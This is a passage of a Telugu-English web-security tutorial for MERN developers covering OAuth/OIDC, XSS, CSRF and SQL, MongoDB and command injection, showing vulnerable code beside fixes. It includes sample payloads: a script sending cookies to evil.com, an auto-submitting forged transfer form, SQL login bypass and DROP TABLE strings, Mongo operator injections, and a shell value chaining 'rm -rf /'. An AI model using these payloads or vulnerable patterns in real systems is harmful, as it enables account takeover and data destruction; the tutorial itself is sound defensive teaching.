అత్యంత common & ప్రమాదకరం = **redirect_uri validation.** అది loose అయితే (substring/prefix match), attacker `https://yourapp.com.evil.com` లేదా `https://yourapp.com/../evil` లాంటివి slip చేసి authorization code దొంగిలిస్తాడు → full account takeover. ఎప్పుడూ **exact string match against a registered allowlist.**

OAuth vs తప్పుడు అవగాహన

అపోహ	నిజం
"OAuth = login system"	OAuth = **authorization** (access delegation); login కి **OIDC** layer కావాలి
"access token లో user identity ఉంది"	లేదు — identity **id_token** (OIDC) లో
"SPA లో client_secret పెట్టొచ్చు"	లేదు — **PKCE** వాడు, secret లేకుండా
"Google token ని నా app auth కి వాడతా"	Google identity verify కి మాత్రమే; నీ app సొంత session/JWT issue చేయాలి

Key Points

- **OAuth 2.0 = delegated authorization** — password పంచకుండా, scoped + revocable access. (valet key.)
- **4 roles:** Resource Owner (user), Client (app), Authorization Server (Google), Resource Server (API).
- **Authorization Code flow:** browser కి code మాత్రమే; token ని backend లో **client_secret తో exchange** (secure). `state` = CSRF protection, `scope` = least privilege.
- **PKCE** — SPA/mobile కి (client_secret దాచలేని చోట) తప్పనిసరి.

- **OIDC = authentication layer** on OAuth — **ID token** (JWT) తో "ఎవరు." "Login with Google" = OIDC.
- Google verify తర్వాత నీ app **సొంత session/JWT** issue చేస్తుంది.
- **SSO** = ఒక్క login → అనేక apps (central IdP, OIDC/SAML).

Interview దృష్టి

Q: "Login with Google" behind the scenes ఎలా పనిచేస్తుంది? A: Authorization Code flow (+ OIDC): user "Login with Google" click → నా app Google కి redirect (client_id, redirect_uri, scope, state) → user Google లో login + consent → Google నా redirect_uri కి **authorization code** పంపుతుంది → నా **backend** ఆ code ని client_secret తో exchange చేసి **access_token + id_token** పొందుతుంది → id_token (JWT) verify చేసి user identity తెలుసుకుంటూ → నా app సొంత session/JWT issue చేస్తా. Password ఎప్పుడూ నా app చూడదు.

Q: OAuth vs OIDC తేడా? A: OAuth 2.0 = **authorization** (ఒక app కి scoped access ఇవ్వడం — "photos read"), authentication కాదు. OIDC = OAuth పైన ఒక layer, **authentication** add చేస్తుంది **ID token** ద్వారా (user identity: sub, email, name). "Login with X" లో మనకి కావలసింది login కాబట్టి OIDC వాడతాం. Access token = "ఏం చేయవచ్చు"; ID token = "ఎవరు."

Q: Authorization code ని browser లో ఎందుకు token కి బదులు పంపుతారు? A: Security. Token నేరుగా browser కి పంపితే (పాత implicit flow), browser history/logs/referrer లో leak అవ్వొచ్చు. బదులుగా one-time **code** పంపి, దాన్ని **server-to-server** గా client_secret తో exchange చేస్తారు — token ఎప్పుడూ browser లో బహిర్గతం కాదు. `state` parameter CSRF ని ఆపుతుంది. SPA లో secret లేదు కాబట్టి PKCE.

Part 3 — Web Attacks & Defenses (MERN)

> ఇప్పటిదాకా foundations + identity నేర్చుకున్నాం. ఇప్పుడు అసలు యుద్ధభూమి — నీ MERN app మీద జరిగే **actual attacks**, ప్రతిదానికీ **అది ఎలా పనిచేస్తుంది + ఎలా fix చేయాలి (code తో).** ఈ Part లోని ప్రతి attack — XSS, CSRF, injection, IDOR — real production apps ని కూల్చాయి (Facebook, British Airways, Equifax breaches ఇవే). SSE interview లో ఇవి అత్యంత తరచుగా అడిగేవి. ప్రతి topic లో **vulnerable code చూపించి, తర్వాత fixed code** — అటాకర్ దృష్టి + డిఫెండర్ దృష్టి రెండూ.

---

9. XSS (Cross-Site Scripting)

వివరణ

XSS = attacker నీ website లో malicious JavaScript ని inject చేసి, అది ఇతర users' browsers లో run అయ్యేలా చేయడం. ఆ script ఆ user యొక్క browser లో, ఆ user హక్కులతో run అవుతుంది — అంటే వాళ్ళ cookies, tokens, session, page content అన్నీ attacker చేతికి.

మూలకారణం (root cause): **untrusted user input ని HTML/JS గా browser render చేయడం** — data ని code గా treat చేయడం. User "comment" లో `<script>` రాస్తే, అది text గా కాకుండా executable code గా render అయితే → XSS.

Attacker XSS తో ఏం చేయగలడు:

- **Cookie/token theft** → `fetch('https://evil.com?c=' + document.cookie)` → account takeover.
- **Keylogging** — user typing capture (passwords సహా).
- **Actions as user** — వాళ్ళ తరపున posts, transfers, settings మార్పు.
- **Defacement / phishing** — fake login form చూపించడం.

మూడు రకాల XSS

రకం	ఎక్కడ inject	ఎలా trigger	ఉదాహరణ
Stored (persistent)	DB లో save (comment, profile)	victim ఆ page చూసినప్పుడు	comment లో `<script>` → అందరికీ run
Reflected	request (URL param, form) లో	victim malicious link click	`/search?q=<script>` → response లో reflect
DOM-based	client-side JS లోనే	JS untrusted data ని DOM కి unsafe గా రాస్తే	`el.innerHTML = location.hash`

Stored అత్యంత ప్రమాదకరం — ఒక్కసారి inject చేస్తే, ఆ page చూసే ప్రతి user affected (worm లా వ్యాపిస్తుంది — పాత MySpace "Samy" worm ఇలానే).

Real-life Scenario

> **XSS = ఊరి notice board మీద నకిలీ ప్రకటన.** ఒక apartment complex notice board (website) ఉంది — ఎవరైనా ప్రకటన అంటించవచ్చు (user comment). ఒక దుర్మార్గుడు ఒక ప్రకటన అంటిస్తాడు: **"ఇక్కడ నీ flat number + password రాయండి, manager కి forward అవుతుంది."** అది అధికారిక notice లా కనిపిస్తుంది (అదే page లో ఉంది కాబట్టి).
>
> నివాసులు (other users) ఆ board చూసి, నమ్మి, తమ వివరాలు రాస్తారు — నేరుగా దుర్మార్గుడికి. **Board (website) నమ్మకమైనది కాబట్టి, దాని మీద ఉన్న malicious content ని కూడా users నమ్ముతారు.** అదే XSS — trusted site లో attacker's code, victim's trust ని exploit చేస్తుంది. పరిష్కారం: board మీద పెట్టేముందు ప్రతి ప్రకటనని manager check చేయడం (sanitization).

Code — vulnerable vs fixed

వల్నరబుల్ (Reflected XSS in Express):

```
// ❌ DANGEROUS — user input ని నేరుగా HTML లో పెట్టడం
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
// attack: /search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
// → script victim browser లో run → cookie theft
```

వల్నరబుల్ (Stored XSS in React):

```
// ❌ DANGEROUS — dangerouslySetInnerHTML తో untrusted HTML render
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
  // text = "<img src=x onerror='steal()'>" → onerror JS runs!
}
```

Fixed 1 — React auto-escaping (default protection):

```
// ✅ SAFE — JSX {} auto-escapes; <script> text గా render, execute కాదు
function Comment({ text }) {
  return <div>{text}</div>;
  // text = "<script>alert(1)</script>" → screen మీద literal text గా కనిపిస్తుంది,
  // script run కాదు. React by default ప్రతి {} value ని escape చేస్తుంది.
}
```

Fixed 2 — HTML render తప్పనిసరి అయితే DOMPurify తో sanitize:

```
// npm install dompurify
import DOMPurify from 'dompurify';
// ✅ SAFE — rich text (bold/links) అవసరమైతే, sanitize చేసి render
function RichComment({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],  // safe tags మాత్రమే
    ALLOWED_ATTR: ['href'],
```

```
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  // <script>, onerror లాంటివి strip అవుతాయి
}
```

Fixed 3 — server side output encoding (non-React):

```
// ✅ SAFE — HTML special chars ని escape చేయడం
function escapeHtml(str) {
  return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
            .replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#39;');
}
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
  // <script> → &lt;script&gt; → text గా render, execute కాదు
});
```

Output encoding — context matters (SSE nuance)

అదే user data వేరు వేరు places లో render అయితే, **వేరు వేరు encoding** కావాలి — ఒక్క generic "escape" అన్ని చోట్లా సరిపోదు. ఇది చాలా మంది miss చేసే SSE-level nuance:

Context	ఉదాహరణ	Encoding
HTML body	`<div>DATA</div>`	HTML entity escape (< → `<`)
HTML attribute	`<img alt="DATA">`	attribute escape + always quote
JavaScript	`<script>var x="DATA"</script>`	JS string escape (`\xHH`)
URL	`<a href="/p?q=DATA">`	`encodeURIComponent`
CSS	`<style>… DATA …</style>`	CSS escape

HTML context కి safe అయినది JS/URL context లో vulnerable — అందుకే **context-appropriate encoding** ముఖ్యం. React JSX ఈ contexts ని automatically handle చేస్తుంది (అందుకే by default safe); manual templating లో నువ్వే context కి తగ్గట్టు encode చేయాలి. `href={userUrl}` లో `javascript:` scheme validate చేయడం ఒక classic context-specific gotcha.

React యొక్క protection — ఎంత, ఎక్కడ లోపం

React **by default XSS-safe** — JSX `{value}` అన్నిటినీ auto-escape చేస్తుంది. కానీ ఈ escape hatches లో మళ్ళీ vulnerable:

Pattern	ప్రమాదం
`<div>{userInput}</div>`	✅ safe (auto-escaped)
`dangerouslySetInnerHTML={{__html: userInput}}`	❌ XSS (sanitize చేయకపోతే)
`<a href={userInput}>`	⚠️ `javascript:` URL → XSS (validate href)
`eval()` , `new Function(userInput)`	❌ code injection
`ref.current.innerHTML = userInput`	❌ direct DOM = React protection bypass

అంటే React వాడినంత మాత్రాన XSS-proof కాదు — `dangerouslySetInnerHTML` , `javascript:` hrefs, direct DOM access దగ్గర జాగ్రత్త.

CSP — Content Security Policy (defense in depth)

CSP ఒక HTTP header — browser కి "ఏ sources నుండి scripts run చేయవచ్చు" చెప్తుంది. XSS bug slip అయినా, CSP inline/external malicious scripts ని block చేస్తుంది (రెండో పొర — Topic 1 defense in depth).

```
// Express — CSP header (helmet library సులభం చేస్తుంది)
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'");
  next();
});
// 'self' = నీ domain నుండి మాత్రమే scripts. inline <script>, evil.com scripts blocked.
```

CSP silver bullet కాదు (inline scripts allow చేస్తే వృథా), కానీ strong second layer. `'unsafe-inline'` avoid చేయి.

CSP ని ఇంకా strong చేయడం — nonce / hash

`script-src 'self'` inline scripts ని block చేస్తుంది, కానీ కొన్ని apps కి inline scripts అవసరం అవుతాయి — అప్పుడు `'unsafe-inline'` పెడితే CSP వృథా (attacker inline script కూడా run అవుతుంది). Modern పరిష్కారం: **nonce** (ప్రతి response కి random) లేదా script **hash**. Server ప్రతి request కి ఒక random nonce generate చేసి, CSP header లోనూ, `<script nonce="...">` tag లోనూ పెడుతుంది. Attacker inject చేసిన script కి valid nonce ఉండదు → browser block చేస్తుంది.

```
const crypto = require('crypto');
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');   // ప్రతి request కి కొత్తది
  res.locals.nonce = nonce;
  res.setHeader('Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; object-src 'none'`);
  next();
});
// template: <script nonce="<%= nonce %>"> ... </script>
// ఈ exact nonce ఉన్న scripts మాత్రమే run; attacker's injected script block
```

`'unsafe-inline'` , `'unsafe-eval'` **avoid** — ఇవి CSP ని బలహీనం చేస్తాయి. Nonce/hash-based CSP strongest. **Trusted Types** (కొత్త browser API) DOM-XSS ని structurally ఆపుతుంది (dangerous DOM sinks కి typed values enforce). CSP అనేది primary defense (escaping) కి **backup layer** — escaping మానేసి CSP మీద ఆధారపడకు.

XSS attacks + defenses — సారాంశం

Defense	ఏం చేస్తుంది	పొర
Output encoding / escaping	user data ని text గా render (code కాదు)	primary (అత్యంత ముఖ్యం)
React auto-escape	JSX `{}` default escape	primary (free)
DOMPurify sanitize	HTML render అవసరమైతే safe tags మాత్రమే	primary (rich text కి)
HttpOnly cookies	XSS అయినా cookie/token theft ఆపు	mitigation (Topic 6)
CSP header	unauthorized scripts block	defense in depth
Input validation	expected format మాత్రమే accept	supporting

Key Points

- **XSS = attacker's JS ఇతర users' browsers లో run.** Root cause: untrusted input ని code గా render చేయడం.
- **మూడు రకాలు:** Stored (DB, most dangerous), Reflected (URL/request), DOM-based (client JS).
- **React by default auto-escapes** (`{value}`) — safe. కానీ `dangerouslySetInnerHTML` , `javascript:` hrefs, direct `innerHTML` దగ్గర vulnerable.
- **Primary defense = output encoding/escaping**; rich HTML అవసరమైతే **DOMPurify.sanitize.**
- **HttpOnly cookies** → XSS అయినా token theft ఆపు; **CSP header** → defense in depth.
- Data ను code గా treat చేయవద్దు — ఇదే injection attacks అన్నిటి mūla sūtram.

Interview దృష్టి

Q: XSS అంటే ఏమిటి, రకాలు, ఒక MERN app లో ఎలా ఆపుతావు? A: XSS = attacker malicious JS ని site లో inject చేసి ఇతర users' browsers లో run చేయించడం — cookie theft, account takeover కి దారి తీస్తుంది. రకాలు: Stored (DB లో save, most dangerous), Reflected (URL/request లో), DOM-based (client JS unsafe). Fix: (1) React auto-escaping వాడతా (`{value}` , dangerouslySetInnerHTML కాదు), (2) HTML render తప్పనిసరి అయితే DOMPurify తో sanitize, (3) cookies HttpOnly (token theft ఆపడానికి), (4) CSP header defense-in-depth.

Q: React వాడితే XSS-proof అనుకోవచ్చా? A: లేదు. React default గా JSX `{}` values escape చేస్తుంది కాబట్టి చాలా XSS ఆగుతుంది, కానీ `dangerouslySetInnerHTML` (unsanitized HTML), `javascript:` URL hrefs, `ref.innerHTML =` , `eval()` — ఇవి protection bypass. ఈ escape hatches దగ్గర sanitize/validate చేయాలి.

Q: Output encoding vs input sanitization — ఏది ఎప్పుడు? A: **Output encoding** (context కి తగ్గట్టు escape — HTML/JS/URL) primary defense, ఎందుకంటే అదే data వేరు contexts లో render అవ్వొచ్చు. **Input sanitization** (dangerous parts strip) rich HTML (comments, WYSIWYG) render చేయాల్సి వచ్చినప్పుడు DOMPurify తో. Best practice: **input validate + output encode** రెండూ; rich HTML అయితే sanitize కూడా.

10. CSRF (Cross-Site Request Forgery)

వివరణ

CSRF = logged-in user యొక్క browser ని మోసగించి, వాళ్ళకి తెలియకుండా ఒక action చేయించడం — వాళ్ళు login అయిన site మీద (bank transfer, password change, delete). XSS లో attacker's code run అవుతుంది; CSRF లో **user's own browser, user's own cookies** తో ఒక forged request పంపబడుతుంది.

అసలు మూలం (root cause): browsers **cookies ని automatically** ఆ site కి ప్రతి request తో పంపుతాయి — request ఎక్కడి నుండి వచ్చినా (నీ site నుండైనా, attacker's site నుండైనా). నువ్వు bank.com లో login అయి ఉంటే, ఒక వేరే tab లో evil.com తెరిచావంటే, evil.com bank.com కి request పంపేలా చేస్తే — **browser bank.com cookie ని auto-attach చేస్తుంది** → server "ఇది logged-in user" అనుకుని action చేస్తుంది. User కి తెలియనే తెలియదు.

CSRF పనిచేయాలంటే 3 conditions:

1. Auth **cookies** ద్వారా (auto-sent). — JWT-in-header అయితే CSRF పనిచేయదు (browser auto-attach చేయదు).
2. Predictable request (attacker ఏం పంపాలో ముందే తెలుసు).
3. CSRF protection లేదు (SameSite/token).

Real-life Scenario

> **CSRF = నీ signature ఉన్న blank cheque ని మోసం చేయడం.** ఊహించు — నువ్వు bank కి pre-signed blank cheques ఇచ్చావు (browser లో logged-in session = auto-signed cheques). ఒక మోసగాడు నీకు ఒక అందమైన greeting card పంపుతాడు (evil.com link). నువ్వు దాన్ని తెరిచిన క్షణంలో, రహస్యంగా అందులో దాచిన ఒక cheque **నీ bank కి "attacker కి ₹50,000" అని fill అయ్యి, నీ signature (cookie) తో** submit అవుతుంది.
>
> Bank నీ signature (cookie) చూసి "ఇది నిజమైన customer" అనుకుని డబ్బు transfer చేస్తుంది. **నువ్వు ఏమీ చేయలేదు — కేవలం ఒక card తెరిచావు.** నీ signature (session) ని నీకు తెలియకుండా వాడారు. పరిష్కారం: ప్రతి cheque మీద bank ఒక **secret code (CSRF token)** అడగడం — మోసగాడికి ఆ code తెలియదు.

Code — vulnerable vs fixed

వల్నరబుల్ (CSRF protection లేని endpoint):

```
// ❌ DANGEROUS — cookie auth మీద ఆధారపడి, CSRF check లేదు
app.post('/transfer', requireAuth, (req, res) => {   // requireAuth reads cookie
  transferMoney(req.user.id, req.body.to, req.body.amount);
  res.json({ ok: true });
});
```

Attacker's page (evil.com) — victim తెరిస్తే auto-submit:

```
<!-- evil.com — victim bank.com లో logged-in అయి ఉంటే -->
<form id="f" action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker-account">
  <input name="amount" value="50000">
```

```
</form>
<script>document.getElementById('f').submit();</script>
<!-- browser bank.com cookie ని auto-attach → transfer జరుగుతుంది! -->
```

Fix 1 — SameSite cookie (modern primary defense)

`SameSite` cookie flag (Topic 6) browser ని "cross-site request కి ఈ cookie పంపకు" అని చెప్తుంది. ఇదే ఇప్పుడు primary CSRF defense:

```
// ✅ SameSite=Lax/Strict — cross-site POST కి cookie పంపదు → CSRF ఆగుతుంది
res.cookie('sid', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',   // లేదా 'lax' (external link navigation allow అవుతుంది)
});
// evil.com నుండి POST వచ్చినప్పుడు, browser cookie attach చేయదు → server rejects
```

- `Strict` — ఏ cross-site request కీ cookie లేదు (most secure).
- `Lax` (modern browser default) — top-level GET navigation (link) కి పంపుతుంది, కానీ cross-site POST/iframe కి పంపదు — CSRF (సాధారణంగా POST) ఆగుతుంది, usability ఉంటుంది.

Fix 2 — CSRF token (synchronizer token pattern)

Defense in depth కి, cookie-auth forms కి ఒక **unpredictable secret token** — server ప్రతి session కి generate చేసి form లో embed చేస్తుంది; submit లో అది తిరిగి రావాలి. Attacker ఆ token ని తెలుసుకోలేడు (same-origin policy వల్ల evil.com దాన్ని చదవలేదు).

```
const crypto = require('crypto');

// server session కి ఒక CSRF token generate చేసి client కి ఇవ్వు
app.get('/form-token', requireAuth, (req, res) => {
  const csrfToken = crypto.randomBytes(32).toString('hex');
  saveCsrfToken(req.user.id, csrfToken);      // server-side store
  res.json({ csrfToken });                     // client form/header లో పెడతాడు
});

// ప్రతి state-changing request లో token verify
function verifyCsrf(req, res, next) {
  const token = req.headers['x-csrf-token'];   // header లో పంపుతాడు
  if (!token || token !== getCsrfToken(req.user.id))
    return res.status(403).json({ error: 'Invalid CSRF token' });
  next();
}

app.post('/transfer', requireAuth, verifyCsrf, (req, res) => {  // ✅ token check
  transferMoney(req.user.id, req.body.to, req.body.amount);
  res.json({ ok: true });
});
```

Client (React) request లో token ని custom header గా పంపుతాడు:

```
fetch('/transfer', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken },
  credentials: 'include',
  body: JSON.stringify({ to, amount }),
});
// custom header + same-origin — attacker's cross-site form ఇది పంపలేదు
```

Fix 3 — Origin/Referer check + JWT-in-header

- **Origin/Referer header verify** — request `Origin` header నీ domain నా అని check. Cross-site అయితే reject. (Additional layer.)
- **JWT in Authorization header** (cookie కాదు) — browser custom headers ని auto-attach చేయదు. అందుకే token ని header లో పంపే SPAs CSRF-immune (కానీ XSS కి vulnerable — trade-off, Topic 7).

XSS vs CSRF — గందరగోళం తీర్చుకో

అంశం	XSS	CSRF
ఏం inject	malicious **script** (site లో)	forged **request** (వేరే site నుండి)
Code ఎక్కడ run	victim browser లో attacker's JS	victim browser, **victim's own** request
ఆధారం	input escape లేకపోవడం	cookie auto-send
Primary fix	output encoding, sanitize, CSP	SameSite cookie, CSRF token
JWT-in-header ప్రభావం	ఇంకా vulnerable (JS token చదవగలదు)	**immune** (auto-send కాదు)
HttpOnly cookie ప్రభావం	cookie theft ఆగుతుంది	ప్రభావం లేదు (request ఐనా పంపబడుతుంది)

గమనిక: **XSS ఉంటే CSRF protection వృథా** — attacker's script అదే origin లో run అవుతుంది కాబట్టి CSRF token ని చదవగలదు. అందుకే XSS ముందు fix చేయాలి.

Key Points

- **CSRF = logged-in user's browser ని మోసగించి, వాళ్ళ cookie తో forged action.** Root cause: **cookies auto-sent** cross-site.
- పనిచేయాలంటే: cookie auth + predictable request + no protection.
- **Primary defense = `SameSite=Lax/Strict` cookie** (cross-site POST కి cookie ఆగుతుంది).
- **Defense in depth = CSRF token** (unpredictable, per-session, custom header) + Origin check.
- **JWT-in-header (cookie కాదు)** → **CSRF-immune** (auto-send కాదు), కానీ XSS కి vulnerable.
- **XSS ఉంటే CSRF defense వృథా** — XSS ముందు fix.

Interview దృష్టి

Q: CSRF అంటే ఏమిటి, ఎలా పనిచేస్తుంది? A: Attacker logged-in user browser ని మోసగించి, వాళ్ళకి తెలియకుండా ఒక authenticated action (transfer, password change) చేయిస్తాడు. Browser cookies ని **automatically** ప్రతి request కి attach చేస్తుంది — request ఏ site నుండి trigger అయినా. అందుకే attacker's evil.com లో ఒక hidden form bank.com కి POST చేస్తే, browser bank.com cookie auto-attach చేస్తుంది → server logged-in user request అనుకుంటుంది.

Q: CSRF ని ఎలా ఆపుతావు? A: (1) **SameSite=Lax/Strict** cookie — modern primary defense; cross-site POST కి browser cookie పంపదు. (2) **CSRF token** (synchronizer/double-submit) — server per-session unpredictable token, form/custom header లో; attacker దాన్ని తెలుసుకోలేడు (same-origin policy). (3) Origin/Referer check. లేదా auth ని cookie కాకుండా **JWT-in-header** చేస్తే CSRF-immune (auto-send కాదు).

Q: JWT వాడితే CSRF గురించి worry అవసరమా? A: **Token ని Authorization header లో** పంపితే — CSRF-immune, ఎందుకంటే browser custom headers ని cross-site auto-attach చేయదు, attacker header set చేయలేడు. కానీ **JWT ని cookie లో** store చేస్తే, అది auto-sent కాబట్టి మళ్ళీ CSRF vulnerable → SameSite కావాలి. అలాగే header approach XSS కి vulnerable (JS token చదవగలదు) — ఇది trade-off.

11. SQL / NoSQL Injection

వివరణ

Injection = attacker untrusted input ని పంపి, దాన్ని నీ app *data* గా కాకుండా *query/command* లో భాగంగా execute అయ్యేలా చేయడం. OWASP Top 10 లో ఎప్పుడూ మొదటి వరుసలో ఉండే attack. మూలం XSS లాంటిదే — **data ని code గా treat చేయడం** — కానీ ఇక్కడ browser లో కాదు, నీ database query లో.

MERN developer గా నీకు రెండూ తెలియాలి: **SQL injection** (Postgres/MySQL వాడితే) మరియు **NoSQL/MongoDB injection** (MongoDB — నీ default stack).

11.1 SQL Injection

ఎలా: query ని string concatenation తో build చేస్తే, attacker input తో query structure ని మార్చగలడు.

వల్నరబుల్:

```
// ❌ DANGEROUS — user input ని నేరుగా query లో concatenate
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
  const user = await db.query(query);
  // ...
});
```

Attack: email = `' OR '1'='1' --`

```
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
-- '1'='1' ఎప్పుడూ true; -- మిగతా line ని comment చేస్తుంది
```

```
-- → password check లేకుండా మొదటి user (తరచూ admin) గా login!
```

Attacker ఇంకా ఘోరంగా: `'; DROP TABLE users; --` → మొత్తం table delete. లేదా `UNION SELECT` తో ఇతర tables' data dump.

Fix — Parameterized queries (prepared statements):

```
// ✅ SAFE — input ని data గా bind చేస్తుంది, query structure మారదు
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await db.query(
    'SELECT * FROM users WHERE email = $1',   // placeholder — Postgres ($1), MySQL (?)
    [email]                                    // input విడిగా bind
  );
  // driver input ని escape చేసి pure data గా treat చేస్తుంది —
  // ' OR '1'='1 అనేది ఒక literal email string గా వెతుకుతుంది, query కాదు
  if (!user || !await bcrypt.compare(password, user.password_hash))
    return res.status(401).json({ error: 'Invalid credentials' });
  // ...
});
```

Parameterized query ఎందుకు పనిచేస్తుంది? Database engine ముందు **query structure ని parse చేస్తుంది** (placeholders తో), తర్వాత input ని **pure data** గా fill చేస్తుంది. Input లో ఏం ఉన్నా — `' OR '1'='1` అయినా — అది query లో ఒక literal value మాత్రమే, ఎప్పటికీ SQL syntax కాదు. **Data & code ని separate చేయడమే** injection defense యొక్క గుండె.

11.2 NoSQL / MongoDB Injection (నీ MERN కి కీలకం)

చాలా మంది "MongoDB లో SQL లేదు కాబట్టి injection లేదు" అనుకుంటారు — **తప్పు!** MongoDB queries **JSON objects**; Express `req.body` ని JSON గా parse చేస్తుంది కాబట్టి, attacker ఒక **operator object** పంపి query logic ని మార్చగలడు.

వల్నరబుల్:

```
// ❌ DANGEROUS — req.body values ని నేరుగా query లో వాడటం
app.post('/login', async (req, res) => {
  const user = await db.collection('users').findOne({
    username: req.body.username,
    password: req.body.password,   // string అని assume చేస్తున్నాం... కానీ?
  });
  if (user) return res.json({ ok: true, token: makeToken(user) });
  res.status(401).json({ error: 'Invalid' });
});
```

Attack (JSON body):

```
{ "username": "admin", "password": { "$ne": null } }
```

ఇప్పుడు query అవుతుంది: `{ username: "admin", password: { $ne: null } }` — అంటే "admin, password **not equal to null**" → admin కి ఏదైనా password ఉంటే **match!** → password తెలియకుండా admin login.

ఇతర operator injections: `{ "$gt": "" }` (anything greater than empty), `{ "$regex": "^a" }` (password brute force letter-by-letter). ఇంకా ప్రమాదకరం `$where` — JS execute చేస్తుంది:

```
{ "username": { "$where": "sleep(5000)" } }
```

Fix 1 — Type checking / validation:

```
// ✅ SAFE — inputs strings అని ఖచ్చితం చేయి (object అయితే reject)
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  if (typeof username !== 'string' || typeof password !== 'string')
    return res.status(400).json({ error: 'Invalid input' });   // object → block
  const user = await db.collection('users').findOne({ username });  // username మాత్రమే
  if (!user || !await bcrypt.compare(password, user.passwordHash)) // password bcrypt తో
    return res.status(401).json({ error: 'Invalid credentials' });
  res.json({ ok: true, token: makeToken(user) });
});
```

గమనించు: password ని query లో పెట్టడం **మానేశాం** — bcrypt.compare తో verify. ఇది operator injection ని పూర్తిగా ఆపుతుంది.

Fix 2 — express-mongo-sanitize (operator strip):

```
// npm install express-mongo-sanitize
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize());   // $ తో మొదలయ్యే keys, . ఉన్న keys ని strip/replace
// { "$ne": null } లాంటి payload harmless అవుతుంది
```

Fix 3 — Mongoose schema (type coercion):

```
const userSchema = new mongoose.Schema({
  username: { type: String, required: true },   // String type enforce
  passwordHash: String,
});
// Mongoose input ని schema type కి cast చేస్తుంది — object password → cast error
```

Fix 4 — `$where`, `mapReduce`, `eval` లో ఎప్పుడూ user input పెట్టకు — ఇవి server-side JS execute చేస్తాయి = code injection. వీలైతే `$where` పూర్తిగా avoid.

11.3 Command Injection (Node child_process)

Node లో user input ని **shell command** లో పెడితే, attacker OS commands execute చేయగలడు (RCE — Remote Code Execution, అత్యంత ప్రమాదకరం). image processing, PDF generation, git operations లాంటివి తరచూ vulnerable.

```
const { exec, execFile } = require('child_process');

// ❌ DANGEROUS — user input shell లో interpret అవుతుంది
exec(`convert ${req.body.file} out.png`);
// file = "x.jpg; rm -rf /"  → convert తర్వాత rm కూడా run! (RCE)

// ✅ SAFE — execFile: args array, shell interpretation లేదు
execFile('convert', [req.body.file, 'out.png']);
// file ఒక single argument గా pass అవుతుంది, command గా parse కాదు
```

Fixes: `exec` (shell) బదులు **`execFile` / `spawn` with args array**; user input ని shell string లో concatenate చేయకు; వీలైతే shell అస్సలు వాడకుండా native library వాడు; input allowlist. అలాగే **SSTI (Server-Side Template Injection)** — user input ని template engine లో raw గా eval చేస్తే code execution; templates కి user data ని **data గా** pass చేయి, template source గా కాదు.

Injection — వర్తించే మూలసూత్రం (అన్నిటికీ ఒక్కటే)

Injection రకం	ఎక్కడ	Defense
SQL	DB query (string concat)	parameterized queries / ORM
NoSQL/MongoDB	JSON query (operator inject)	type check + sanitize + no `$where`
Command	shell exec (`exec(userInput)`)	avoid shell; `execFile` args array
XSS	HTML/JS render	output encoding (Topic 9)
LDAP/XML/etc.	ఆయా queries	context-specific escaping

అన్నీ ఒకే root: **data ని code/query గా misinterpret చేయడం.** ఒకే fix philosophy: **data ను code నుండి separate చేయి** (parameterize/bind/escape), **type validate చేయి**, **least privilege DB user** (Topic 1 — injection జరిగినా damage limit).

Key Points

- **Injection = untrusted input query/command గా execute** అవ్వడం. OWASP #1 forever.
- **SQL injection:** string concat తో query build చేస్తే `' OR '1'='1'` . Fix: **parameterized queries** (data & code separate).
- **NoSQL/MongoDB injection నిజం** — `req.body` object అయితే `{ $ne: null }` , `$gt` , `$regex` , `$where` inject. "Mongo కాబట్టి safe" అనుకోకు.
- **Mongo fixes:** input **type-check** (string కావాలి), **express-mongo-sanitize**, **Mongoose schema types**, password ని query కి కాకుండా **bcrypt.compare** కి పంపు, `$where` **నో-గో.**
- ఎప్పుడూ **least privilege DB user** — injection జరిగినా blast radius చిన్నది.
- మూలసూత్రం: **data ≠ code; validate + parameterize.**

Interview దృష్టి

Q: SQL injection ఎలా పనిచేస్తుంది, ఎలా ఆపుతావు? A: Query ని string concatenation తో build చేస్తే, attacker input తో query structure ని మార్చగలడు — ఉదా email = `' OR '1'='1' --` password check ని bypass చేస్తుంది, లేదా `DROP TABLE` కూడా. Fix = **parameterized queries / prepared statements**: query structure ని ముందు parse చేసి, input ని pure data గా bind చేయడం — input ఎప్పటికీ SQL syntax కాదు. Plus input validation, least-privilege DB user.

Q: MongoDB లో injection ఉంటుందా? MERN app లో ఎలా? A: **ఉంటుంది** — NoSQL injection. Express `req.body` ని JSON గా parse చేస్తుంది కాబట్టి, attacker string బదులు operator object పంపగలడు: `{"password": {"$ne": null}}` → "password not null" → any password తో login. Fix: inputs **type-check** (typeof === 'string'), **express-mongo-sanitize** తో `$` / `.` keys strip, **Mongoose schema** types, password ని query లో కాకుండా bcrypt.compare లో verify, `$where` avoid.

Q: Parameterized query ఎందుకు injection ఆపుతుంది, escaping కంటే better ఎలా? A: Parameterized query లో database **query structure ని ముందే parse** చేస్తుంది, తర్వాత inputs ని placeholders లో **pure data** గా bind చేస్తుంది — input ఎప్పటికీ executable syntax గా re-interpret కాదు. Manual escaping error-prone (ఒక్క case miss అయితే bypass); parameterization **data & code ని structurally separate** చేస్తుంది కాబట్టి systematically safe. ఇదే gold standard.

12. Other Attacks (SSRF, IDOR, Clickjacking, Open Redirect, Brute Force)

